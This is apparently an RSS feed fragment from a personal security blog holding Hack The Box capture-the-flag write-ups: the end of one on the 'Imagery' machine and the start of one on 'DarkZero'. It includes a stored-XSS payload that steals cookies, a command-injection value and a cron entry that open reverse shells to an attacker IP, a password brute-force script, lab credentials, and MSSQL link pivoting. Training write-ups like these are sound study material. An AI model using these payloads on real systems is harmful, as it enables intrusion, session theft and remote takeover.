&lt;p&gt;&lt;img src=&quot;attachments/ceabc43350823cf86bdc02f646b9a7e0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I filled in the following creds for testing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tester@test.com
Tester123!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/20d7802120e48da9cef00f250e5e0666.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In response I get the following &lt;code&gt;GET&lt;/code&gt; request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/19eaacf38bc318e4726cc5853abfa4a0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I noticed the &lt;code&gt;isAdmin:false&lt;/code&gt; thus tried to manipulate it with an intercept:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c27208b836277ec74b93fd3a0dbfd175.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However this just pops an error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f2f8765d7b0826a92d456bb6b5b68861.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and signed in to the account and once logged in was greeted with this dashboard:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/06b921ab256d2246c0f4020a0aad2047.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At first glance this looks like a &lt;strong&gt;file upload attack&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We can upload images and down at the bottom I notice the &lt;strong&gt;Uploading as Account ID:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f6e2403a13ffb3c7c2f67e44925a8c99.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On upload I could view the image:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/19b70f74a0a0eba84b85f1f073f82a67.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could then either &lt;strong&gt;Download&lt;/strong&gt; or &lt;strong&gt;Delete&lt;/strong&gt; it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b83420b3cb5c6ac6bdfc8e3f0fc540f7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here arises the problem, the website isn&apos;t running on &lt;code&gt;php&lt;/code&gt; so uploading a &lt;code&gt;php webshell&lt;/code&gt; will be pointless. I started testing for other vulnerabilities.&lt;/p&gt;
&lt;h3&gt;API source code&lt;/h3&gt;
&lt;p&gt;By checking the source code I discovered that apparently the first user to be registered will be an Admin user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b15ba101bf21cd3568c5991378d8fa72.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Scrolling further down I find the following in the JS script:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ae484bdab34479888d2b2f49d747edc0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/14e73f734759863256f6e600f82d5070.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like there&apos;s a bug reporting functionality, as well as an admin panel.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bf9290ead5051c1dbdd1aa8e7fde99b7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked out the API:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d20c21d2babada7e0251fe114d3bb02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It appears that we are not the first user to be registered then. I scrolled to the bottom of the home page and found the quick link to the bug reporting functionality:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0683cc6a827bc73d73a7749164705735.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;Stored XSS&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d91b6e401515c84232271bbfa1aad242.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tested out the functionality of the form:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/13f5913c02f838b43311aa10cab94578.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went on to test some &lt;strong&gt;XSS&lt;/strong&gt; payloads:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/736c15b9ebdaacb212ae1e54ad4e7609.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This didn&apos;t give me any callback though. I checked out the source code again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; data.bug_reports.forEach(report =&amp;gt; {
	const reportCard = document.createElement(&apos;div&apos;);
	reportCard.className = &apos;bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex justify-between items-center&apos;;
	
	reportCard.innerHTML = `
		&amp;lt;div&amp;gt;
			&amp;lt;p class=&quot;text-sm text-gray-500 mb-2&quot;&amp;gt;Report ID: ${DOMPurify.sanitize(report.id)}&amp;lt;/p&amp;gt;
			&amp;lt;p class=&quot;text-sm text-gray-500 mb-2&quot;&amp;gt;
				Submitted by: ${DOMPurify.sanitize(report.reporter)} 
				(ID: ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new Date(report.timestamp).toLocaleString()}
			&amp;lt;/p&amp;gt;
			&amp;lt;h3 class=&quot;text-xl font-semibold text-gray-800 mb-3&quot;&amp;gt;Bug Name: ${DOMPurify.sanitize(report.name)}&amp;lt;/h3&amp;gt;
			&amp;lt;h3 class=&quot;text-xl font-semibold text-gray-800 mb-3&quot;&amp;gt;Bug Details:&amp;lt;/h3&amp;gt;
			&amp;lt;div class=&quot;bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words&quot;&amp;gt;
				${report.details}
			&amp;lt;/div&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;button onclick=&quot;showDeleteBugReportConfirmation(&apos;${DOMPurify.sanitize(report.id)}&apos;)&quot; 
		class=&quot;bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4&quot;&amp;gt;
			Delete
		&amp;lt;/button&amp;gt;
	`;
	bugReportsList.appendChild(reportCard);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can exploit it and catch the admin cookie:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=x onerror=\&quot;fetch(&apos;http://10.10.14.42/c=&apos; + document.cookie)\&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5f53471ee23119c21e5404ee3eafeff6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c5d34ce907fc1db8ac29f9bc67e83566.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I inserted this cookie and was now able to access the Admin Panel:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/efd1c6b2c8bc002cab5f79e1d31efc29.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the admin panel we notice all the previously found API endpoints:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/16f0b6c63c8bd64981e7cf72bb393dc5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded one of the logs and noticed something right away:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ece72a87ee935c7256e0af25b98245f2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We get a &lt;code&gt;log_identifier&lt;/code&gt; parameter, it looks like it fetches local files. We can logically test for &lt;strong&gt;LFI&lt;/strong&gt; now.&lt;/p&gt;
&lt;h2&gt;LFI&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/db00115c29544ba20e8cd73220004014.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It worked right away, awesome. Right away I noticed 2 users:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;web
mark
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I tried fetching their &lt;code&gt;id_rsa&lt;/code&gt; but this didn&apos;t work.&lt;/p&gt;
&lt;p&gt;Using &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Intruders/List_Of_File_To_Include.txt&quot;&gt;this cheatsheet&lt;/a&gt; I then found a useful endpoint:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a21eb84de5f8dbf06d279a3fb372e2b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking further in the &lt;code&gt;/proc&lt;/code&gt; directory I found the &lt;code&gt;/proc/self/cwd/config.py&lt;/code&gt; endpoint which referenced the &lt;code&gt;db.json&lt;/code&gt; database which contained data for the website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3346a6ebbbe9fc9200e9d7bbc4c98ef3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/919aad6f7890b3a0f0dc30b901a08a14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The hash for &lt;em&gt;testuser&lt;/em&gt; is easily cracked:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e2dbc9682961280cf5bc5da68cf4fe20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;iambatman
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately I could not password spray as the &lt;code&gt;ssh&lt;/code&gt; port did &lt;em&gt;not&lt;/em&gt; allow password auth:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8d5ba52acbfb932148c9017c28f18aac.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I thus decided to login to the web page using the &lt;em&gt;testuser&lt;/em&gt; creds instead:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c858bfabba984167fa6bccfb4af8b349.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried out uploading an image again and this time around there&apos;s more functionalities:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/02b87432b3b910224343b6f72a95854f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could for example transform the image, e.g. crop it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e4da61f2412eb84755819f219b400cb8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By applying the transformation I saw the following request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dccddf9018ff7270430db4b5e55dae64.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Command Injection&lt;/h2&gt;
&lt;p&gt;I tried out to inject arbitrary commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d1e8f0f00d72f5d69a78e282c2c0f9ec.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/949157468742bbfdeb355578c5998a4d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This showed me that it tried to execute the command but failed. This is because it wants to append another command/file afterwards as shown by the &lt;code&gt;+0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Thus I tried out appending a &lt;code&gt;#&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/91b0a7c96c612bda9b73537d2564756f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7f6747972037a212b6bc68d6c3442170.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Even though it did not show any response it did not fail this time.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as web&lt;/h2&gt;
&lt;p&gt;I could finally form the following command in order to achieve a reverse shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;x&quot;:&quot;8;bash -c &apos;busybox nc 10.10.14.42 80 -e bash&apos; #&quot;,
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7eeb623ada04fa92352fbf21bfd7f465.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5914589b2dd89862fe082af220e6064f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However I was not able to get the &lt;code&gt;user.txt&lt;/code&gt; flag yet. For this I had to move laterally to &lt;em&gt;mark&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I transferred over some tools to enumerate the system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd8b08cbcf0357f358461deeb0ececb4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;linpeas&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/24f19d86448f26afcb1b39c40e7b1980.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some of the findings included:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f96a4a032e1d783c1e731e2e95d8f5c4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/02f45a53e03cece69af807bda6d336cd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b741ca63ff4065a282963e8dece8d6b4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then found an interesting &lt;code&gt;cron&lt;/code&gt; job which showed up as a PE vector:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/34a685a4fcde2ae40c973687dabe69cd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Inside the file we find a set of creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/de994fecead5db30266bf5cc2e692657.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin@imagery.htb
strongsandofbeach
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However other than that there was nothing inside this file. The creds couldn&apos;t be sprayed either against the other users:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/074741b970e974033b7689a8d2c82be5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Instead I went ahead and checked out the other cron job, which uses &lt;code&gt;tar&lt;/code&gt; to make a backup of the &lt;code&gt;/home&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d98b8553fd059d093a701b6a1ed4ed1d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I downloaded over the &lt;code&gt;zip&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/eedeb7df29e0d5358e6961cd20122be5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;strings&lt;/code&gt; I analyzed the file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b33ad7912fe1e3c603c3683351b58b9b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Apparently it&apos;s encrypted using &lt;code&gt;pyAesCrypt 6.1.1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/648622853eda2c4c0a9a0f78159b5449.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can install the package as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c0bfb190758d028b7a7726c04e7b6b1b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9940bc54923650548ed4a50231590b79.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then used the following script to brute force the password:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import pyAesCrypt
import traceback

GREEN = &quot;\033[92m&quot;
RESET = &quot;\033[0m&quot;

buffer_size = 64 * 1024

encrypted_file = &quot;web_20250806_120723.zip.aes&quot;
output_file = &quot;decrypted.zip&quot;
wordlist = &quot;/usr/share/wordlists/rockyou.txt&quot;

def try_password(pwd):
    try:
        pyAesCrypt.decryptFile(encrypted_file, output_file, pwd.strip(), buffer_size)
        return True
    except Exception:
        return False

with open(wordlist, &quot;r&quot;, encoding=&quot;latin-1&quot;) as wl:
    for password in wl:
        password = password.strip()
        try:
            if try_password(password):
                print(f&quot;{GREEN}[+] Password found: {password}{RESET}&quot;)
                print(&quot;[✓] Decryption finished, check out output file.&quot;)
                break
        except KeyboardInterrupt:
            print(&quot;\n[!] Interrupted.&quot;)
            break
        except Exception:
            # silent fail for noisy errors
            pass
    else:
        print(&quot;[-] Password not found.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/bc4cb51626986f590defa8b87d7fee57.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The output is absolutely massive:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/335b4ceb14f6b974bfea83898c08921d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This was a complete backup of the &lt;code&gt;/web&lt;/code&gt; directory. Luckily for us it also contained the original version of the &lt;code&gt;db.json&lt;/code&gt; file, containing multiple credential sets:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9c802c5df3a4ba7fe5afbf1968e019d9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4f47fcf148271fa6700bcdffc5c88968.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The password is easily cracked&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;supersmash
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lateral Movement to mark&lt;/h2&gt;
&lt;p&gt;Using the password I move laterally:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/023541ffa2d18ec8ecb7b8d58e816038.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c101113227adf03c1871d24e23ce121.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A non-default binary is found, I&apos;ll focus on it after fetching the &lt;code&gt;user.txt&lt;/code&gt; flag.&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2357992bfad9395aaaed9d9a6800a8ad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;charcol&lt;/h2&gt;
&lt;p&gt;I check out the binary&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a9a48d91fd75e64c69f8157f8c105033.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since I didn&apos;t know the password I used the &lt;code&gt;-R&lt;/code&gt; flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0c9040ed9d7cfbde2b19db0dc7f45000.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could then start it up in interactive mode:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4271cbf124dfc3822d6f0f058537f0a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After using the &lt;code&gt;help&lt;/code&gt; command I skim the manual, noticing the cron jobs tab:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6c6a5466ed85e1ff3bf23603092d83fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I will abuse this to add the following cron job which will give me a &lt;em&gt;root&lt;/em&gt; shell.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auto add --schedule &quot;* * * * *&quot; --command &quot;bash -c &apos;busybox nc 10.10.14.42 443 -e bash&apos;&quot; --name &quot;hack&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3d151ff55bc2894a6e1d46c9c4580fa1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After waiting for a short while:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ca9a5ef302f961bb1a93b3d766cd4c95.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f9d16e0634d9dafe82834d44af083e17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8491d93af1e575a6a7baf2b5fa037b9e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-DarkZero</title><link>https://maxk9999.vercel.app/posts/darkzero</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/darkzero</guid><pubDate>Sat, 22 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import PasswordProtect from &quot;~/components/PasswordProtect.client&quot;;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.89

Creds:
john.w
RFulUtONCOL!
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn darkzero.htb                                                                                                                                                                                                             
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-11-14 18:27:45Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      syn-ack Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.89:1433: 
|     Target_Name: darkzero
|     NetBIOS_Domain_Name: darkzero
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: darkzero.htb
|     DNS_Computer_Name: DC01.darkzero.htb
|     DNS_Tree_Name: darkzero.htb
|_    Product_Version: 10.0.26100
|_ssl-date: 2025-11-14T18:29:23+00:00; +2h10m01s from scanner time.
| ms-sql-info: 
|   10.10.11.89:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
2179/tcp  open  vmrdp?        syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: darkzero.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49690/tcp open  msrpc         syn-ack Microsoft Windows RPC
49692/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49911/tcp open  msrpc         syn-ack Microsoft Windows RPC
49940/tcp open  msrpc         syn-ack Microsoft Windows RPC
49986/tcp open  msrpc         syn-ack Microsoft Windows RPC
49998/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 35679/tcp): CLEAN (Timeout)
|   Check 2 (port 52653/tcp): CLEAN (Timeout)
|   Check 3 (port 7628/udp): CLEAN (Timeout)
|   Check 4 (port 32811/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 2h09m58s, deviation: 2s, median: 2h09m57s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-11-14T18:28:41
|_  start_date: N/A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;PasswordProtect client:load&amp;gt;&lt;/p&gt;
&lt;h2&gt;nxc&lt;/h2&gt;
&lt;p&gt;Since we already got valid creds I decided to use &lt;code&gt;nxc&lt;/code&gt; to spray the credentials&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab64d4c6e205fc9141bc11f1ec1582e6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ade2d440382c191b0ce4d8cbf1b9ea9d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then tested out the &lt;code&gt;mssql&lt;/code&gt; protocol and noticed that I was able to make queries:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/705c934d34fb8c8a213a9209cc567cf3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Having found this info I used &lt;code&gt;impacket-mssqlclient&lt;/code&gt; to log in.&lt;/p&gt;
&lt;h2&gt;1433/TCP - MSSQL&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d5d2cfea0172e881ab328300c0ad229.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However the current user did &lt;em&gt;not&lt;/em&gt; have permissions to execute &lt;code&gt;cmd&lt;/code&gt; prompts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0310e0396db133b33fb0b2b56819509e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;What did work was the &lt;code&gt;enum_links&lt;/code&gt; command which showed us that there was a second server:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fcf9e2efa5b5a35da7949e3164d785fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using this link we can get access to &lt;strong&gt;DC02&lt;/strong&gt; and execute arbitrary commands:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/30f5b43250cb54c516f12d0008583d46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;DC02 Foothold&lt;/h1&gt;
&lt;h2&gt;Reverse shell as svc_sql&lt;/h2&gt;
&lt;p&gt;Now that we&apos;ve found a way to execute commands we can go ahead and get ourselves a reverse shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6699d7bdc3c35095e1395cebb99a8c7e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/33cad431cfe6646cd8ea2c7e90d7f835.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately there&apos;s no easy way to escalate privs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0aaa1ec742be2d8bba700fa3f2341271.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Running basic enumeration commands tells us that this host is a &lt;strong&gt;Windows Server 2022&lt;/strong&gt; machine:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/013dd12c77dad84dff98520a24ee4508.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There are no hotfixes or installed patches, meaning it&apos;s a clean install. Let&apos;s look for priv esc options.&lt;/p&gt;
&lt;h1&gt;DC02 Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;CVE-2024-30088&lt;/h2&gt;
&lt;p&gt;During enumeration I found a fitting CVE that we could exploit here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/41db3ae2c1e320218e667ffbb31a5225.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to upload the following &lt;code&gt;poc.exe&lt;/code&gt; and execute it in order to escalate my privs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fc3a389ea6f96eb3795d4cf1938e25e2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However one oversight was that it would launch a new shell. This would work if I had RDP access but since I only had a CLI shell this did not work.&lt;/p&gt;
